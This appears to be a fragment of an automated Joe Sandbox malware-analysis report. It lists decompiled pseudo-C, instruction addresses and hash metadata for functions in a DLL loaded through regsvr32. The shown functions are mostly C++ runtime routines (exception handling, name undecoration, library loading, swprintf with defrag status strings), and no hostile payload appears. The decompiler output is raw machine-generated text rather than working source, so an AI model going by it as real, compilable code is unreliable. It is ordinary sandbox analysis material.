				_t157 = E00000001180017034(_t255, _t292 - 0x58, _t292 - 0x10, _t290, _t291, _t292);
				asm("movups xmm0, [ebp-0x58]");
				asm("movdqu [ebp-0x78], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("movd eax, xmm0");
				if (_t157 -  *((intOrPtr*)(_t292 - 0x40)) >= 0) goto 0x80019748;
				_t158 =  *((intOrPtr*)(_t292 - 0x70));
				 *((long long*)(_t292 - 0x80)) =  *((intOrPtr*)(_t292 - 0x58));
				 *((intOrPtr*)(_t294 + 0x68)) = _t158;
				asm("inc ecx");
				asm("dec ax");
				asm("movups [ebp-0x78], xmm0");
				if (_t158 - _t200 > 0) goto 0x800196a3;
				if (_t200 - _t158 > 0) goto 0x800196a3;
				_t243 =  *((intOrPtr*)(_t291 + 0x10));
				r9d =  *_t243;
				E0000000118001A46C(_t243, _t292 + 0x20, _t292 - 0x78,  *((intOrPtr*)(_t291 + 8)));
				_t160 =  *((intOrPtr*)(_t292 + 0x20));
				r12d = 0;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				 *((intOrPtr*)(_t294 + 0x6c)) = _t160;
				if (_t160 == 0) goto 0x800196a3;
				asm("movups xmm0, [ebp+0x38]");
				asm("movups xmm1, [ebp+0x48]");
				asm("movups [ebp-0x38], xmm0");
				asm("movsd xmm0, [ebp+0x58]");
				asm("movsd [ebp-0x18], xmm0");
				asm("movups [ebp-0x28], xmm1");
				E00000001180017688(_t243);
				_t245 = _t243 + 4 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc));
				 *((long long*)(_t294 + 0x70)) = _t245;
				E00000001180017688(_t245);
				r15d =  *((intOrPtr*)(_t245 +  *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x30)) + 0xc))));
				if (r15d <= 0) goto 0x8001962e;
				E00000001180017688(_t245);
				_t313 = _t245 +  *((intOrPtr*)( *((intOrPtr*)(_t294 + 0x70))));
				if (E00000001180019E5C(_t201, _t255, _t292 - 0x38, _t313, _t290, _t291,  *((intOrPtr*)(_t255 + 0x30))) != 0) goto 0x8001964b;
				 *((long long*)(_t294 + 0x70)) =  *((long long*)(_t294 + 0x70)) + 4;
				r15d = r15d - 1;
				if (r15d > 0) goto 0x800195f4;
				r12d =  *((intOrPtr*)(_t294 + 0x64));
				E0000000118001AD30( *((intOrPtr*)(_t294 + 0x70)), _t292 + 0x20);
				r12d = r12d + 1;
				 *((intOrPtr*)(_t294 + 0x64)) = r12d;
				if (r12d ==  *((intOrPtr*)(_t294 + 0x6c))) goto 0x8001969f;
				goto 0x800195ab;
				 *((char*)(_t294 + 0x58)) =  *((intOrPtr*)(_t292 + 0xf8));
				_t269 = _t255;
				 *((char*)(_t294 + 0x50)) =  *((intOrPtr*)(_t294 + 0x60));
				 *((long long*)(_t294 + 0x48)) =  *((intOrPtr*)(_t292 - 0x60));
				 *((intOrPtr*)(_t294 + 0x40)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((long long*)(_t294 + 0x38)) = _t292 - 0x78;
				 *((long long*)(_t294 + 0x30)) = _t313;
				 *((long long*)(_t294 + 0x28)) = _t292 - 0x38;
				 *(_t294 + 0x20) = _t316;
				E00000001180018D7C(_t257[0x1800c20b0], _t255, _t269,  *((intOrPtr*)(_t294 + 0x78)),  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t321 =  *((intOrPtr*)(_t292 - 0x80));
				_t303 =  *((intOrPtr*)(_t321 + 8)) -  *((char*)(_t269 + 0x1800c20a0));
				 *((long long*)(_t321 + 8)) = _t303;
				 *(_t321 + 0x18) =  *(_t303 - 4) >>  *(_t269 + 0x1800c20b0);
				_t304 = _t303 -  *((char*)(_t269 + 0x1800c20a0));
				 *((long long*)(_t321 + 8)) = _t304;
				 *(_t321 + 0x1c) =  *(_t304 - 4) >>  *(_t269 + 0x1800c20b0);
				_t305 = _t304 -  *((char*)(_t269 + 0x1800c20a0));
				 *(_t321 + 0x20) =  *(_t305 - 4) >>  *(_t269 + 0x1800c20b0);
				_t195 =  *((intOrPtr*)(_t294 + 0x68)) + 1;
				 *((long long*)(_t321 + 8)) = _t305;
				_t116 = _t305 + 4; // 0x4
				_t253 = _t116;
				 *((long long*)(_t321 + 8)) = _t253;
				 *((intOrPtr*)(_t321 + 0x24)) =  *_t305;
				 *((intOrPtr*)(_t294 + 0x68)) = _t195;
				if (_t195 -  *((intOrPtr*)(_t292 - 0x40)) < 0) goto 0x8001955a;
				if (( *_t316 & 0x00000040) == 0) goto 0x8001979f;
				if (E00000001180016D64(_t316) == 0) goto 0x800197f5;
				goto 0x8001979f;
				if ( *((intOrPtr*)(_t292 - 0x10)) <= 0) goto 0x8001979f;
				if ( *((char*)(_t292 + 0xf8)) != 0) goto 0x8001980d;
				 *((long long*)(_t294 + 0x38)) = _t313;
				 *((intOrPtr*)(_t294 + 0x30)) =  *((intOrPtr*)(_t292 + 0x100));
				 *((intOrPtr*)(_t294 + 0x28)) = _t200;
				 *(_t294 + 0x20) = _t316;
				E00000001180019A2C( *_t305, _t255, _t321,  *((intOrPtr*)(_t241 + 0x28)), _t291);
				_t179 = E00000001180018370(_t253);
				if ( *((long long*)(_t253 + 0x38)) != 0) goto 0x8001980d;
				return E000000011800149A0(_t179, _t195,  *(_t292 + 0x70) ^ _t294);
			}


































                                                                                                        0x180019325
                                                                                                        0x18001932d
                                                                                                        0x180019334
                                                                                                        0x18001933b
                                                                                                        0x18001933e
                                                                                                        0x180019342
                                                                                                        0x180019356
                                                                                                        0x18001935b
                                                                                                        0x180019361
                                                                                                        0x180019365
                                                                                                        0x180019368
                                                                                                        0x180019370
                                                                                                        0x18001937b
                                                                                                        0x18001937d
                                                                                                        0x180019386
                                                                                                        0x180019392
                                                                                                        0x180019394
                                                                                                        0x18001939d
                                                                                                        0x18001939f
                                                                                                        0x1800193a4
                                                                                                        0x1800193a7
                                                                                                        0x1800193ac
                                                                                                        0x1800193b6
                                                                                                        0x1800193c8
                                                                                                        0x1800193d8
                                                                                                        0x1800193f1
                                                                                                        0x1800193f7
                                                                                                        0x180019403
                                                                                                        0x18001940d
                                                                                                        0x18001941e
                                                                                                        0x180019429
                                                                                                        0x18001942f
                                                                                                        0x180019439
                                                                                                        0x18001943f
                                                                                                        0x180019444
                                                                                                        0x180019448
                                                                                                        0x180019451
                                                                                                        0x18001945a
                                                                                                        0x180019465
                                                                                                        0x18001946b
                                                                                                        0x180019478
                                                                                                        0x18001947f
                                                                                                        0x180019485
                                                                                                        0x18001948f
                                                                                                        0x180019491
                                                                                                        0x18001949a
                                                                                                        0x1800194a5
                                                                                                        0x1800194b1
                                                                                                        0x1800194bd
                                                                                                        0x1800194c3
                                                                                                        0x1800194d8
                                                                                                        0x1800194e3
                                                                                                        0x1800194ed
                                                                                                        0x1800194fe
                                                                                                        0x180019508
                                                                                                        0x180019518
                                                                                                        0x180019523
                                                                                                        0x180019528
                                                                                                        0x18001952b
                                                                                                        0x180019530
                                                                                                        0x180019534
                                                                                                        0x180019539
                                                                                                        0x18001953e
                                                                                                        0x180019545
                                                                                                        0x18001954f
                                                                                                        0x180019552
                                                                                                        0x180019556
                                                                                                        0x18001955a
                                                                                                        0x18001955f
                                                                                                        0x180019564
                                                                                                        0x18001956a
                                                                                                        0x180019576
                                                                                                        0x18001957c
                                                                                                        0x18001958c
                                                                                                        0x18001958f
                                                                                                        0x180019594
                                                                                                        0x180019597
                                                                                                        0x18001959a
                                                                                                        0x18001959f
                                                                                                        0x1800195a5
                                                                                                        0x1800195ab
                                                                                                        0x1800195af
                                                                                                        0x1800195b3
                                                                                                        0x1800195b7
                                                                                                        0x1800195bc
                                                                                                        0x1800195c1
                                                                                                        0x1800195c5
                                                                                                        0x1800195d6
                                                                                                        0x1800195d9
                                                                                                        0x1800195de
                                                                                                        0x1800195eb
                                                                                                        0x1800195f2
                                                                                                        0x1800195f4
                                                                                                        0x180019608
                                                                                                        0x180019619
                                                                                                        0x18001961b
                                                                                                        0x180019621
                                                                                                        0x180019627
                                                                                                        0x180019629
                                                                                                        0x180019632
                                                                                                        0x180019637
                                                                                                        0x18001963a
                                                                                                        0x180019644
                                                                                                        0x180019646
                                                                                                        0x18001965c
                                                                                                        0x180019660
                                                                                                        0x180019667
                                                                                                        0x18001966f
                                                                                                        0x18001967a
                                                                                                        0x180019682
                                                                                                        0x18001968b
                                                                                                        0x180019690
                                                                                                        0x180019695
                                                                                                        0x18001969a
                                                                                                        0x18001969f
                                                                                                        0x1800196c5
                                                                                                        0x1800196ce
                                                                                                        0x1800196d2
                                                                                                        0x1800196ed
                                                                                                        0x1800196f6
                                                                                                        0x1800196fa
                                                                                                        0x180019715
                                                                                                        0x180019722
                                                                                                        0x180019726
                                                                                                        0x180019728
                                                                                                        0x18001972c
                                                                                                        0x18001972c
                                                                                                        0x180019733
                                                                                                        0x180019737
                                                                                                        0x18001973b
                                                                                                        0x180019742
                                                                                                        0x18001974c
                                                                                                        0x18001975b
                                                                                                        0x180019761
                                                                                                        0x180019767
                                                                                                        0x180019770
                                                                                                        0x18001977f
                                                                                                        0x180019787
                                                                                                        0x18001978e
                                                                                                        0x180019795
                                                                                                        0x18001979a
                                                                                                        0x18001979f
                                                                                                        0x1800197a9
                                                                                                        0x1800197ca

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
                                                                                                        • String ID: csm$csm$csm
                                                                                                        • API String ID: 3523768491-393685449
                                                                                                        • Opcode ID: 57aaf6cd89106a3918e3cb690de7ecb042f48b93fabf215fdb17adccd601d5be
                                                                                                        • Instruction ID: 92176f3a529d978817627fc288460047d69547f6c1e6eaaafc7e2f5bfae2f5dd
                                                                                                        • Opcode Fuzzy Hash: 57aaf6cd89106a3918e3cb690de7ecb042f48b93fabf215fdb17adccd601d5be
                                                                                                        • Instruction Fuzzy Hash: F0E1BE72605F888AE7A29F64D4803ED7BA0F749BD8F148115FE9957A96CF34C689C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180021658 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 167COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 61%
                                                                                                        			E00000001180021658(void* __edx, void* __edi, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rdi, void* __rsi, long long __r8, void* __r14, void* __r15, long long _a8, long long _a16) {
				intOrPtr _v16;
				char _v24;
				intOrPtr _v32;
				char _v40;
				intOrPtr _t21;
				char _t23;
				void* _t26;
				char _t28;
				void* _t33;
				void* _t38;
				char* _t46;
				long long _t50;
				char* _t52;
				intOrPtr* _t55;
				long long _t62;

				_t62 = __r8;
				_t57 = __rsi;
				_t33 = __rax;
				_t27 = __edi;
				_t26 = __edx;
				_a8 = __rbx;
				_a16 = __rdi;
				r8d = 0;
				_t55 = __rdx;
				_t46 =  *0x800d9928; // 0x0
				_t38 = __rcx;
				_v40 = __r8;
				_v32 = r8d;
				_t23 =  *_t46;
				_t28 = _t23;
				if (_t28 == 0) goto 0x8002171f;
				if (_t28 == 0) goto 0x80021710;
				if (_t28 == 0) goto 0x800216dd;
				if (_t23 - 7 == 1) goto 0x800216ac;
				E0000000118001E500(__edi, __rcx, __rcx, __rdx, __rdx, __rsi, __r14, __r15);
				goto 0x8002173d;
				if ( *_t55 == _t62) goto 0x800216c4;
				r8d = 9;
				goto 0x800216d1;
				r8d = 8;
				E0000000118001C024(_t33, _t38,  &_v40, "volatile", _t55, __rsi);
				_t50 =  *0x800d9928; // 0x0
				r9d = 2;
				_v24 =  *_t55;
				asm("bts eax, 0x8");
				 *0x800d9928 = _t50 + 1;
				_t52 =  &_v40;
				_v16 =  *((intOrPtr*)(_t55 + 8));
				E00000001180021AD8(_t26, _t27, _t38, _t38, _t52, _t55, _t57,  &_v24);
				goto 0x8002173d;
				_t21 =  *((intOrPtr*)(_t52 + 1));
				if (_t21 == 0x24) goto 0x80021750;
				if (_t21 != 0) goto 0x8002184e;
				_v16 = r8d;
				_v24 = 0x800c36a0;
				return E0000000118001C858( &_v24, _t38, _t55);
			}


















                                                                                                        0x180021658
                                                                                                        0x180021658
                                                                                                        0x180021658
                                                                                                        0x180021658
                                                                                                        0x180021658
                                                                                                        0x180021658
                                                                                                        0x18002165d
                                                                                                        0x18002166a
                                                                                                        0x18002166d
                                                                                                        0x180021670
                                                                                                        0x180021677
                                                                                                        0x18002167a
                                                                                                        0x18002167e
                                                                                                        0x180021682
                                                                                                        0x180021685
                                                                                                        0x180021687
                                                                                                        0x180021690
                                                                                                        0x180021695
                                                                                                        0x18002169a
                                                                                                        0x1800216a2
                                                                                                        0x1800216a7
                                                                                                        0x1800216b3
                                                                                                        0x1800216b5
                                                                                                        0x1800216c2
                                                                                                        0x1800216c4
                                                                                                        0x1800216d1
                                                                                                        0x1800216d6
                                                                                                        0x1800216dd
                                                                                                        0x1800216ea
                                                                                                        0x1800216f7
                                                                                                        0x1800216fb
                                                                                                        0x180021702
                                                                                                        0x180021706
                                                                                                        0x180021709
                                                                                                        0x18002170e
                                                                                                        0x180021710
                                                                                                        0x180021715
                                                                                                        0x180021719
                                                                                                        0x180021726
                                                                                                        0x18002172a
                                                                                                        0x18002174f

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
                                                                                                        • API String ID: 2943138195-757766384
                                                                                                        • Opcode ID: fb01e033b483f63250ac90f33f70d6f1ec18b0aa13de386471f47919eba0a412
                                                                                                        • Instruction ID: 183decff4ad5998037dada3414e024ce7a46627a0d256d6696051d0795eeb28a
                                                                                                        • Opcode Fuzzy Hash: fb01e033b483f63250ac90f33f70d6f1ec18b0aa13de386471f47919eba0a412
                                                                                                        • Instruction Fuzzy Hash: 52714A72605B4898EB978F69D8943ECA7A5B72C7C5F94C51AEA4903A94DF39C358C300
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180023340 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 89COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 53%
                                                                                                        			E00000001180023340(void* __edx, void* __edi, long long __rbx, void* __rcx, long long __rdi, void* __rsi, void* __r8, void* __r10, void* __r11, void* __r14, void* __r15, long long _a16, long long _a24) {
				void* _v8;
				signed int _v24;
				char _v25;
				char _v40;
				char _v56;
				intOrPtr _v64;
				char _v72;
				signed int _v80;
				signed long long _v88;
				void* _t35;
				intOrPtr _t43;
				void* _t45;
				signed long long _t54;
				intOrPtr* _t56;
				void* _t65;
				intOrPtr* _t70;
				intOrPtr _t87;
				intOrPtr _t88;
				void* _t92;

				_t45 = __edx;
				_a16 = __rbx;
				_a24 = __rdi;
				_t54 =  *0x800d81f8; // 0x68308725f9ca
				_v24 = _t54 ^ _t92 - 0x00000070;
				_t56 =  *0x800d9928; // 0x0
				_t65 = __rcx;
				_t43 =  *_t56;
				if (_t43 != 0x58) goto 0x800233a7;
				_v64 = 4;
				 *0x800d9928 = _t56 + 1;
				_v72 = "void";
				asm("movaps xmm0, [ebp-0x40]");
				asm("movdqa [ebp-0x50], xmm0");
				E0000000118001C2DC("void", __rcx,  &_v88);
				goto 0x80023486;
				if (_t43 != 0x3f) goto 0x80023471;
				E000000011800224B8(__rcx,  &_v72,  &_v88, __rsi, __r8, __r10, __r11, __r14);
				if (( *0x800d9938 & 0x00004000) == 0) goto 0x80023428;
				_t87 =  *0x800d9940; // 0x0
				if (_t87 == 0) goto 0x80023428;
				_t70 = _v72;
				if (_t70 == 0) goto 0x800233fb;
				 *0x8007d5c0();
				 *((char*)( *((intOrPtr*)( *_t70 + 0x18)))) = 0;
				_t88 =  *0x800d9940; // 0x0
				goto 0x800233ff;
				_v40 = 0;
				_t35 = E0000000118002FC64(__edi,  *((intOrPtr*)( *_t70 + 0x18)), _t65,  &_v40, _t88, __rsi,  &_v25, __r10);
				 *0x8007d5c0();
				if (_t88 == 0) goto 0x80023428;
				r8d = 0;
				E0000000118001BD4C(_t65, _t88);
				goto 0x80023486;
				_v80 = 0x13;
				_v88 = "`template-parameter";
				asm("movaps xmm0, [ebp-0x50]");
				asm("movdqa [ebp-0x50], xmm0");
				E0000000118001C2DC("`template-parameter",  &_v56,  &_v88);
				E0000000118001C858("`template-parameter",  &_v88,  &_v72);
				r8b = 0x27;
				E0000000118001C884( &_v88, _t65);
				goto 0x80023486;
				_v88 = _v88 & 0x00000000;
				_v80 = _v80 & 0x00000000;
				return E000000011800149A0(E00000001180021658(_t45, __edi, "`template-parameter", _t65, _t65,  &_v88, _t88, __rsi,  &_v72, __r14, __r15), _t35, _v24 ^ _t92 - 0x00000070);
			}






















                                                                                                        0x180023340
                                                                                                        0x180023340
                                                                                                        0x180023345
                                                                                                        0x180023352
                                                                                                        0x18002335c
                                                                                                        0x180023360
                                                                                                        0x180023367
                                                                                                        0x18002336a
                                                                                                        0x18002336f
                                                                                                        0x180023374
                                                                                                        0x18002337b
                                                                                                        0x180023390
                                                                                                        0x180023394
                                                                                                        0x180023398
                                                                                                        0x18002339d
                                                                                                        0x1800233a2
                                                                                                        0x1800233aa
                                                                                                        0x1800233b4
                                                                                                        0x1800233c3
                                                                                                        0x1800233c5
                                                                                                        0x1800233cf
                                                                                                        0x1800233d1
                                                                                                        0x1800233d8
                                                                                                        0x1800233e9
                                                                                                        0x1800233ef
                                                                                                        0x1800233f2
                                                                                                        0x1800233f9
                                                                                                        0x1800233fb
                                                                                                        0x180023403
                                                                                                        0x18002340d
                                                                                                        0x180023416
                                                                                                        0x180023418
                                                                                                        0x180023421
                                                                                                        0x180023426
                                                                                                        0x180023428
                                                                                                        0x180023436
                                                                                                        0x18002343e
                                                                                                        0x180023446
                                                                                                        0x18002344b
                                                                                                        0x18002345b
                                                                                                        0x180023460
                                                                                                        0x18002346a
                                                                                                        0x18002346f
                                                                                                        0x180023471
                                                                                                        0x18002347a
                                                                                                        0x1800234a6

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: NameName::
                                                                                                        • String ID: `template-parameter$void
                                                                                                        • API String ID: 1333004437-4057429177
                                                                                                        • Opcode ID: 3e12024de85c68da5d396fd2d7a262a93a073f1ccb68e0ed4d7b4449de1f4a28
                                                                                                        • Instruction ID: 4f57a263403795b6fafda540e7faba7535d64785c97bdf5368174b29c47842f5
                                                                                                        • Opcode Fuzzy Hash: 3e12024de85c68da5d396fd2d7a262a93a073f1ccb68e0ed4d7b4449de1f4a28
                                                                                                        • Instruction Fuzzy Hash: 04414732B00B5898FB839BA5D8523ED23B1B70C7D8F948129EE0967A59DF78C609C340
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180024A4C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66libraryCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Library$Load$ErrorFreeLast
                                                                                                        • String ID: api-ms-
                                                                                                        • API String ID: 3813093105-2084034818
                                                                                                        • Opcode ID: ade77d0cc4825a95fcfd71071c4e75b46b293378c6209923b51d1274a421e883
                                                                                                        • Instruction ID: 0eb934a61f660c5141b545100d970bd1c6b3bf580e9ba8707f74c7ea4d90b1d4
                                                                                                        • Opcode Fuzzy Hash: ade77d0cc4825a95fcfd71071c4e75b46b293378c6209923b51d1274a421e883
                                                                                                        • Instruction Fuzzy Hash: 3B219D32312A0895EE97CB56A4043D963A4FB4CBF0F19C625FE2A0A7D4DF39C6498704
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800048A8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 68%
                                                                                                        			E000000011800048A8(void* __ecx, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r8, intOrPtr _a8, intOrPtr _a16, long long _a32, char _a40) {
				long long _v48;
				signed long long _v56;
				void* __rdi;
				void* __rsi;
				void* _t29;
				void* _t34;
				void* _t53;
				intOrPtr _t54;
				void* _t60;
				intOrPtr _t66;
				void* _t70;
				void* _t74;
				void* _t75;
				void* _t76;
				intOrPtr _t80;
				void* _t83;
				char* _t91;
				long long _t95;
				void* _t98;
				void* _t99;

				_t65 = __rdx;
				_t99 = _t83;
				 *((long long*)(_t99 + 8)) = __rbx;
				 *((long long*)(_t99 + 0x10)) = __rbp;
				_t75 = __r8;
				_t53 = __rcx;
				if (__rdx == 0) goto 0x80004901;
				_t94 =  *((intOrPtr*)(__rdx + 0x1d8));
				if ( *((intOrPtr*)(__rdx + 0x1d8)) == 0) goto 0x80004901;
				 *((long long*)(_t99 - 0x10)) =  *((intOrPtr*)(__rdx + 0x1f8));
				_t57 = __rcx + 0x49470;
				_t51 =  *((intOrPtr*)(__rdx + 0x1d0));
				 *((long long*)(_t99 - 0x18)) =  *((intOrPtr*)(__rdx + 0x1d0));
				E00000001180003248(__ecx,  *((intOrPtr*)(__rdx + 0x1d0)), __rcx + 0x49470, __rdx, L"Files %I64d, Directories %I64d, Clusters %I64d",  *((intOrPtr*)(__rdx + 0x1d8)), _t74);
				goto 0x80004919;
				E00000001180003248(__ecx, _t51, _t57 + 0x49470, _t65, L"Applying Exclude and SpaceHogs masks....", _t94);
				if (_t75 == 0) goto 0x80004941;
				_t95 =  *((intOrPtr*)(_t75 + 0x20));
				if (_t95 == 0) goto 0x80004941;
				_t9 = _t53 + 0x61b10; // 0x61b10
				_t91 = L"%s";
				E00000001180003248(__ecx, _t51, _t9, _t65, _t91, _t95);
				goto 0x80004948;
				 *((short*)(_t53 + 0x61b10)) = 0;
				_t66 =  *((intOrPtr*)(_t53 + 0x27ad60));
				_t60 = _t53;
				_t54 = _a8;
				_t80 = _a16;
				_pop(_t76);
				goto E00000001180003DE0;
				asm("int3");
				asm("int3");
				_a32 = _t95;
				if ( *((intOrPtr*)(_t60 + 0x92850)) - 0xc350 < 0) goto 0x80004a0a;
				if (_t91 == 0) goto 0x800049b2;
				if ( *((intOrPtr*)(_t91 + 0x20)) == 0) goto 0x800049b2;
				_t29 = E00000001180003248(__ecx, _t51, _t60 + 0x61b10, _t66, L"%s",  *((intOrPtr*)(_t91 + 0x20)), _t70);
				_t72 = _a32;
				if (_a32 == 0) goto 0x80004a0a;
				E00000001180003240(_t29);
				_v48 =  &_a40;
				_v56 = _v56 & 0x00000000;
				r8d = 0xc350;
				E00000001180052C54(_t34, _t54,  *_t51, _t60 + 0x7a1b0, _a32, _t60, L"%s", _a32, _t98);
				E0000000118000FB20( *((intOrPtr*)(_t60 + 0x27ad70)), _a32,  &_a40, _t72, _t76, _t80, _t54);
				return E00000001180003DE0(0xc350, _t51, _t54, _t60, _t72);
			}























                                                                                                        0x1800048a8
                                                                                                        0x1800048a8
                                                                                                        0x1800048ab
                                                                                                        0x1800048af
                                                                                                        0x1800048ba
                                                                                                        0x1800048bd
                                                                                                        0x1800048c3
                                                                                                        0x1800048c5
                                                                                                        0x1800048cf
                                                                                                        0x1800048df
                                                                                                        0x1800048e3
                                                                                                        0x1800048ea
                                                                                                        0x1800048f6
                                                                                                        0x1800048fa
                                                                                                        0x1800048ff
                                                                                                        0x180004914
                                                                                                        0x18000491c
                                                                                                        0x18000491e
                                                                                                        0x180004925
                                                                                                        0x180004927
                                                                                                        0x180004933
                                                                                                        0x18000493a
                                                                                                        0x18000493f
                                                                                                        0x180004941
                                                                                                        0x180004948
                                                                                                        0x18000494f
                                                                                                        0x180004952
                                                                                                        0x180004957
                                                                                                        0x180004960
                                                                                                        0x180004961
                                                                                                        0x180004966
                                                                                                        0x180004967
                                                                                                        0x180004968
                                                                                                        0x180004981
                                                                                                        0x18000498a
                                                                                                        0x180004993
                                                                                                        0x1800049a8
                                                                                                        0x1800049ad
                                                                                                        0x1800049b5
                                                                                                        0x1800049bf
                                                                                                        0x1800049c4
                                                                                                        0x1800049d0
                                                                                                        0x1800049d9
                                                                                                        0x1800049e2
                                                                                                        0x1800049f6
                                                                                                        0x180004a12

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: swprintf
                                                                                                        • String ID: Applying Exclude and SpaceHogs masks....$Files %I64d, Directories %I64d, Clusters %I64d
                                                                                                        • API String ID: 233258989-688450722
                                                                                                        • Opcode ID: 9b00e0c451602b3326caf0a90ce080a3a75011025ba86b529119983075b7204d
                                                                                                        • Instruction ID: c5d07606a1b5b5bc598eacd075a6abe53b9d92c326d2d3d04e703f75494d45b5
                                                                                                        • Opcode Fuzzy Hash: 9b00e0c451602b3326caf0a90ce080a3a75011025ba86b529119983075b7204d
                                                                                                        • Instruction Fuzzy Hash: 2F11A0B6714B4891E692DF82D011BD97364F748BC4F58C232EE580B754CF36CB468344
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018003017C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
